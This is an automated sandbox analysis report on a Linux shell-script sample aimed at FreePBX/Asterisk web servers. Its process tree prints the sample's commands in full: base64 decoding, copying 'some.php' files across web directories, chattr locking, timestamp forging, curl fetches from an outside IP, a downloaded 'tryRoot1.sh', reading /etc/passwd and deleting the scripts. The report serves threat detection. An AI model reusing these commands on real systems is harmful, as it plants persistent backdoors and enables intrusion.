3a3b5dea778c2d82e0e1d1a041289a3cd113c5ed7e44bca41f4936e2e7abea23

Analysis

max time kernel
0s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
27/08/2026, 16:19

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General

Target
wr.php.sh
Size 26KB
Sample260827-tsk92sw1bt
SHA256 3a3b5dea778c2d82e0e1d1a041289a3cd113c5ed7e44bca41f4936e2e7abea23
MD5 2e84649b3de3b8db170077cfcb562eac
SHA1 0ad95839d8be5cd146e66e8b8592ea48b102b860
SHA512 bb3f4cc3fce776ea09836f40117682ac6cdc8083ad7abc4df897ef6bfcc8b01e25562dc0b8925e73065d3d6cf93ecb49e4bed4184215828b174843bb10615736
SSDEEP 768:18vCB+25j6es8RW79FYpMSUpi+20qUpi+20YQX:18l25JOd2QX
TLSH
T1AEC27D966A867C44BEC94A3E4CBD2B1D6DF5C3D1324942AC3D8A3C71DC11FACD618B1A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1549	chmod
1548	chmod

Deobfuscate/Decode Files or Information 1 TTPs 4 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1514	base64
1563	base64
1574	base64
1579	base64

Reads runtime system information 32 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tryRoot1.sh	wr.php.sh

/tmp/wr.php.sh
/tmp/wr.php.sh
1⤵
- Writes file to tmp directory
PID:1512
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1514
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
  2⤵
  - Reads runtime system information
  PID:1516
- /bin/mkdir
  mkdir -p /var/www/html/rest_phones/
  2⤵
  - Reads runtime system information
  PID:1517
- /bin/mkdir
  mkdir -p /var/www/html/restiapps/
  2⤵
  - Reads runtime system information
  PID:1520
- /bin/mkdir
  mkdir -p /var/www/html/restiapp/
  2⤵
  - Reads runtime system information
  PID:1521
- /bin/mkdir
  mkdir -p /var/www/html/phones/
  2⤵
  - Reads runtime system information
  PID:1522
- /bin/mkdir
  mkdir -p /var/www/html/digiums/
  2⤵
  - Reads runtime system information
  PID:1523
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/h/
  2⤵
  - Reads runtime system information
  PID:1524
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/fpbxphones/
  2⤵
  - Reads runtime system information
  PID:1525
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/phones/
  2⤵
  - Reads runtime system information
  PID:1526
- /bin/mkdir
  mkdir -p /var/www/html/digium_phones/
  2⤵
  - Reads runtime system information
  PID:1527
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
  2⤵
  - Reads runtime system information
  PID:1528
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/some.php
  2⤵
  - Reads runtime system information
  PID:1530
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/some.php
  2⤵
  - Reads runtime system information
  PID:1531
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/some.php
  2⤵
  - Reads runtime system information
  PID:1532
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/core/some.php
  2⤵
  - Reads runtime system information
  PID:1533
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/some.php
  2⤵
  - Reads runtime system information
  PID:1535
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/digiums/some.php
  2⤵
  - Reads runtime system information
  PID:1536
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/phones/some.php
  2⤵
  - Reads runtime system information
  PID:1537
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/restiapp/some.php
  2⤵
  - Reads runtime system information
  PID:1538
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/some.php
  2⤵
  - Reads runtime system information
  PID:1539
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/some.php
  2⤵
  - Reads runtime system information
  PID:1540
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/views/some.php
  2⤵
  - Reads runtime system information
  PID:1541
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/restiapps/some.php
  2⤵
  - Reads runtime system information
  PID:1545
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/digium_phones/some.php
  2⤵
  - Reads runtime system information
  PID:1546
- /usr/bin/touch
  touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
  2⤵
  PID:1547
- /bin/chmod
  chmod +x /var/www/html/admin/views/ajax.php
  2⤵
  - File and Directory Permissions Modification
  PID:1548
- /bin/chmod
  chmod +x /var/www/html/admin/views/some.php
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/ajax.php
  2⤵
  PID:1550
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/ajax.php
  2⤵
  PID:1551
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/some.php
  2⤵
  PID:1552
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/some.php
  2⤵
  PID:1553
- /usr/bin/chattr
  chattr +i /var/www/html/some.php
  2⤵
  PID:1554
- /usr/bin/chattr
  chattr +a /var/www/html/some.php
  2⤵
  PID:1555
- /usr/bin/chattr
  chattr +i /var/www/html/h.php
  2⤵
  PID:1556
- /usr/bin/chattr
  chattr +a /var/www/html/h.php
  2⤵
  PID:1557
- /bin/sh
  sh
  2⤵
  PID:1561
- /usr/bin/curl
  curl http://160.119.69.4/z/post/noroot.php
  2⤵
  PID:1560
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1563
- /usr/bin/tee
  tee -a /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:1564
- /bin/bash
  bash /tmp/tryRoot1.sh
  2⤵
  PID:1565
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:1568
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:1569
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:1570
- - /bin/mkdir
    mkdir -p /var/www/html/admin/modules/freepbx_ha/
    3⤵
    - Reads runtime system information
    PID:1571
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
    3⤵
    - Reads runtime system information
    PID:1572
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1574
- - /bin/rm
    rm -f /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    PID:1575
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    - Reads runtime system information
    PID:1576
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:1577
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1579
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:1580
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:1581
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:1582
- /bin/bash
  bash /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:1583
- /bin/rm
  rm -rf /tmp/tryRoot1.sh
  2⤵
  PID:1584
- /bin/rm
  rm -rf /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:1585
- /bin/sh
  sh
  2⤵
  PID:1587
- /usr/bin/curl
  curl http://160.119.69.4/z/post/noroot.php
  2⤵
  PID:1586

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

tryRoot1.sh

Path /tmp/tryRoot1.sh
Size 11KB
SHA256 9ed7c1cdf1cb3851b1641cc586d90356c82db2f52585ede4d6d367a0b8bec02b
MD5 8cb7008cbeb1b579946d1c77139a2ea0
SHA1 eb9fc5af92b42ac9eb9efbb847cbd67284ed19ef
SHA512 d4932397a4ddc7ba9643ca82e1ae852b6a8afc2b15824f90afdf439509e60944a5c5608fd0e8a97ff3cd9c8bd4b48c76db8633e8f787d1e2256c9c6b9dcc94ab
SSDEEP 192:zroaKAtVgmuC13sihwiYPMUroaKAtVgmuC13sihwiYPM8roaKAtVgmuC13sihwi6:zro/AMC1cJlP9ro/AMC1cJlPHro/AMCq
TLSH
T1DF32C783066F3275E2063FAB5CFD1F9C7BEA8B4A34A2692529063D9445DDC0FD470A5C
MD5 SHA1 SHA512 SSDEEP TLSH

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